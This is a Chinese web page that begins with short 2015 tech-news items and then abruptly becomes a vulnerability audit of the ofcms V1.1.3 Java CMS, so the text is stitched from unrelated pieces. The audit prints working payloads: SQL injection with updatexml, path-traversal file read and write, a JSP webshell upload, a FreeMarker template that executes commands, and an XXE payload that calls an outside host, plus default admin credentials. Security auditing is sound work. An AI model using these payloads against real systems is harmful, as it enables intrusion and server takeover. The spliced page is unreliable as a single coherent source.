| 責編:魏景芳
●Android和iOS應(yīng)用可以快速移植到Win 10
微軟宣布所有Android和iOS應(yīng)用,都可以通過簡單的修改代碼,直接生成適用于Windows 10的應(yīng)用。也就是說,開發(fā)者們不需要學(xué)習(xí)更多內(nèi)容,就可以將自己的Android或iOS應(yīng)用在Windows 10中運行。Windows 10系統(tǒng)的這種功能節(jié)省了開發(fā)者工作量,他們經(jīng)過開發(fā)的代碼可以被拿來重復(fù)應(yīng)用。
Z點評:對于微軟來說,此舉也是追趕蘋果和谷歌應(yīng)用數(shù)量的捷徑之一。
Android和iOS應(yīng)用可以快速移植到Win 10(圖片來自The Verge)
●微軟全新瀏覽器定名“Microsoft Edge”
此前,這款運行在Windows 10系統(tǒng)上的瀏覽器的研發(fā)代號為“Project Spartan”。Microsoft Edge瀏覽器的一項功能是,用戶可以在網(wǎng)頁上撰寫或輸入注釋,并與他人分享;內(nèi)置微軟Contana,可以很方便地跟用戶展開互動。此外,Microsoft Edge還增加了對Firefox瀏覽器以及Chrome瀏覽器插件的支持。
Z點評:用戶再也不用吐槽IE了。
●傳Apple Watch關(guān)鍵配件存在缺陷 供貨量受限
知情人士稱,蘋果兩大供應(yīng)商之一生產(chǎn)的一種Apple Watch關(guān)鍵配件被發(fā)現(xiàn)存在缺陷,導(dǎo)致蘋果限制了對外銷售的Apple Watch數(shù)量。這個存在缺陷的配件名為Taptic Engine,由蘋果設(shè)計,旨在用戶手腕上產(chǎn)生觸覺反饋。該人士稱,在2月量產(chǎn)后,可靠性測試發(fā)現(xiàn),部分由中國瑞聲科技控股有限公司生產(chǎn)的Taptic Engine在經(jīng)過一段時間后會發(fā)生故障,導(dǎo)致蘋果廢棄了部分已完工的成品表。
Z點評:Apple Watch對元件精度要求很高,又是第一次生產(chǎn),看來缺貨問題要延續(xù)一陣子了。
傳Apple Watch關(guān)鍵配件存在缺陷 供貨量受限(圖片來自Yahoo)
●LG兩款WP平臺新機曝光:定位低端市場
LG近期將推出兩款Windows Phone手機,一款型號為“LG VW820”,另一款型號為“LG VW820SS”,兩款手機將由美國運營商Verizon Wireless銷售。綜合已知信息,LG VW820將搭載一塊4.7英寸480×854分辨率屏幕,很明顯是一款低端設(shè)備。據(jù)悉這款手機還將支持LTE技術(shù)。
Z點評:如果是Win 10系統(tǒng),還是值得期待的。
●百度第一季度財報:總營收同比增34%
百度發(fā)布了截至3月31日的2015財年第一財季未經(jīng)審計財報。報告顯示,百度第一財季總營收為人民幣127.25億元,同比增長34.0%;第一財季凈利潤為人民幣24.49億元,同比下滑3.4%。業(yè)內(nèi)分析人士認為,雖然商業(yè)環(huán)境急速變遷,百度的商業(yè)模式仍然展現(xiàn)出了強大的適應(yīng)性和生命力。
Z點評:移動業(yè)務(wù)占總營收比例擴大,增長效果不錯。
剛好遇到一個授權(quán)的滲透是通過該cms實現(xiàn)getshell,所以順便審計一下java類的cms,這個管理系統(tǒng)是一個內(nèi)容管理系統(tǒng),下載地址
https://gitee.com/oufu/ofcms/tree/V1.1.3/
tomcat下載地址
https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.78/bin/apache-tomcat-8.5.78-windows-x64.zip
這里我選擇8.5.78
idea
ofcms V1.1.3
tomcat 8.5
idea直接創(chuàng)建新建項目,自動導(dǎo)入xml文件,配置啟動服務(wù)器
導(dǎo)入sql文件
mysql -uroot -pxxxxxxx
use ofcms
source /路徑.ofcms-v1.1.3.sql
show tables;
這里需要注意一點兒,源碼確實,無法打包war'包,解決不掉artifacts的問題
配置端口
啟動tomgcat的時候會亂碼,修改tomcat的配置文件tomcat->config->logging.properties
更改所有utf8的格式為GBK
配置maven,整一個惡心想吐
<mirror>
<id>alimaven</id>
<mirrorOf>central</mirrorOf>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
</mirror>
重建項目
啟動服務(wù),但是之前需要修改配置文件中的數(shù)據(jù)庫的連接的字段用戶名和密碼,這里會報錯,所以修改配置文件直接創(chuàng)建完成了數(shù)據(jù)庫在上面導(dǎo)入數(shù)據(jù)庫的時候跳過安裝步驟。
首頁地址: localhost:8099/ofcms_admin
后臺地址:localhost:8099/ofcms_admin/admin/login.html
admin/123456
【----幫助網(wǎng)安學(xué)習(xí),以下所有學(xué)習(xí)資料關(guān)注我,私信回復(fù)“資料”獲取----】
① 網(wǎng)安學(xué)習(xí)成長路徑思維導(dǎo)圖
② 60+網(wǎng)安經(jīng)典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網(wǎng)安攻防實戰(zhàn)技術(shù)電子書
⑤ 最權(quán)威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰(zhàn)技巧手冊
⑦ 最新網(wǎng)安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
文件結(jié)構(gòu)目錄
因為已知漏洞都存在于后臺,直接審計后臺文件,首先定位到控制層代碼,
因為已經(jīng)不通通過安裝啟動web服務(wù),這里不需要分析安裝控制層,看首頁
出于對代碼的尊重,跟了一波增加sql語句的處理,但是存在sql注入的過濾器,
直接觸發(fā)增加用戶接口
其實可以直接看出來,在第50行的時候已經(jīng)使用put方法增加了管理員用戶,然后new了一個對象record存放存入的其它參數(shù)的數(shù)據(jù),再往下的時候根據(jù)record的值判斷用戶的類型,向下56行F7跟進,一直跟到類sqlpara的setsql方法進行插入
在這里的時候插入的是創(chuàng)建時的創(chuàng)建時間等字段,并沒插入我們傳入的詳細信息,但是在類sysusercontroller中的57行中十對創(chuàng)建的用戶sss創(chuàng)建id編號,此時用戶以及數(shù)據(jù)的插入時在58行執(zhí)行結(jié)束時完成,已經(jīng)寫進了數(shù)據(jù)庫。
但是這里沒有測試存在注入點兒,注入點存在于代碼生成->新增
手動測試有回顯sql=1'
猜測可能存在報錯注入,構(gòu)造payload
update of_cms_api set api_name=updatexml(1,concat(0x7e,(user())),0) where api_id=2
\ofsoft\cms\admin\controller\system\SystemGenerateController.java下斷點分析
47行,F(xiàn)7跟進
返回的sql參數(shù)的內(nèi)容未作任何過濾,48行F7跟進
98行跟進update方法
256行直接連接數(shù)據(jù)庫進行更新,最后拋出異常,報錯回顯出數(shù)據(jù)庫用戶名root
分析代碼,
所以這里出現(xiàn)存儲型XSS的地方不止這一個觸點兒,包括前臺,Ueditor編輯器的原因。
查看文件模板,模板文件鏈接如下
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=/&dir_name=/
可控參數(shù)dir,payload如下
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=../../../&dir_name=/
控制字段file_name讀取文件
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=jquery-1.10.1.min.js&dir=../../..//resource/default/static/lib&dir_name=/lib
漏洞分析
查看模板文件的時候,傳入的dir參數(shù)以及updir的參數(shù)都為空
這里是對路徑文件類型做判斷,讀取模板文件,所以這里任意文件讀取也只是針對任意模板文件讀取,讀取文件名的控制參數(shù)數(shù)為filename
根據(jù)debug分析,當傳入的payload為
http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?dir=../
測試根據(jù)斷點看出,我們傳入的參數(shù)dir為../
在65行的時候未對傳入的參數(shù)dir做過濾,這個時候已經(jīng)拿到了模板目錄
讀取通過循環(huán)遍歷使用文件名讀取
在調(diào)試的時候發(fā)現(xiàn),我們訪問目錄。這里訪問comn
在控制層TemplateController內(nèi)調(diào)用函數(shù)getSiteTemplatePath()
F7跟進,在類file.java中對路徑進行了直接拼接
所以只要調(diào)用file函數(shù)拼接的參數(shù)也必定會產(chǎn)生"任意"文件讀取。那么所能使用的payload如下
?dir=../
?up_dir=../
#含文件名
?file_name=page.html&up_dir=../comn
?file_name=page.html&dir=../comn
剛好該類這里又用save方法調(diào)用了上面的函數(shù),所以我們可以保證我們上傳文件的路徑是可控的
嘗試構(gòu)造數(shù)據(jù)包
此時已經(jīng)成功保存,但是通過文件讀取是讀不到文件的,實際上已經(jīng)寫進去了,因為在讀取文件的時候限制了讀取的文件類型,可以嘗試保存一個html
驗證是可以寫入的,那么直接寫入jsp木馬實現(xiàn)webshell
最后一個斷點執(zhí)行結(jié)束,此時shell已成功寫入
http://localhost:8099/ofcms_admin/static/1.jsp
同樣在save模板的時候我們分析,在125行的時候傳入file文件以及文件內(nèi)容
f7跟進函數(shù),發(fā)現(xiàn)在類fileutils中的,writestring方法中在78行的時候拿到的string還是我們在前端輸入的內(nèi)容
繼續(xù)F7跟進函數(shù)
這里直接對string進行了編碼
payload
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
訪問
http://localhost:8099/ofcms_admin/about.html
所以這里漏洞的觸發(fā)點也很多,html頁面都可以,當然也可以利用上面的文件上傳進行寫入頁面調(diào)用也可以觸發(fā)。漏洞的觸發(fā)原理可參考這個文章
http://t.zoukankan.com/Eleven-Liu-p-12747908.html
很清晰
直接分析漏洞代碼下斷點
ofcms-V1.1.3\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\ReprotAction.java
前端功能模塊導(dǎo)出
定位到控制器處理方法,在 com.ofsoft.cms.admin.controller.ReprotAction類的 expReport 方法中。
使用上文的任意文件讀取,在靜態(tài)頁面下放入我們寫入的jrxml文件,文件命名為xxe.jrxml,構(gòu)造payload
POST /ofcms_admin/admin/cms/template/save.json HTTP/1.1
Host: localhost:8099
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 394
Origin: http://localhost:8099
Connection: close
Referer: http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html
Cookie: JSESSIONID=FCF2920F5C1C3ECAC592420888B66674; Phpstorm-63ee32fd=c3d51684-64a8-4398-bce8-86b8077fb103; XDEBUG_SESSION=XDEBUG_ECLIPSE
file_path=G%3A%5Cofcms113%5Capache-tomcat-8.5.78%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=%2F&res_path=&file_name=index.html&file_content=%3c%21%44%4f%43%54%59%50%45%20%70%6f%65%6d%20%5b%3c%21%45%4e%54%49%54%59%20%25%20%78%78%65%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%36%36%2e%31%32%38%3a%38%30%38%31%22%3e%25%78%78%65%3b%20%5d%3e
文件內(nèi)容的payload
<!DOCTYPE poem [<!ENTITY % xxe SYSTEM "http://192.168.166.128:8081">%xxe; ]>
直接訪問
http://localhost:8099/ofcms_admin/admin/reprot/expReport.html?%20j=../../static/xxe
漏洞成因是調(diào)用了 getParamsMap 方法,獲取用戶提交的所有參數(shù),并將 j 參數(shù)賦值給 jrxmlFileName ,服務(wù)器接收用戶輸入的 j 參數(shù)后,拼接生成文件路徑,可直接穿越其它目錄,但是限制了文件后綴為 jrxml,所以文件名命名為jrxml
先調(diào)用getParamsMap 方法
而后調(diào)用JasperCompileManager.compileReport() 方法
F7跟進,在 compile方法中調(diào)用 JRXmlLoader.load() 方法,F(xiàn)7跟進,在 loadXML 方法中調(diào)用了 Digester 類的 parse 解析我們的 XML 文檔對象,默認是沒有禁用外部實體解析,所以xxe文件能執(zhí)行。
拋開白盒審計不說,sql注入實現(xiàn)比較簡單,黑盒狀態(tài)下也可知道用戶名實現(xiàn),跨站類可以通過js類的實現(xiàn)對用戶的上線,高危的文件讀取和webshell以及xxe,總的來說都是在文件讀取目錄遍歷的基礎(chǔ)上實現(xiàn)的,否則對于二次開發(fā)的網(wǎng)站拋開任意文件讀取這個漏洞來說是無法實現(xiàn)webshell的。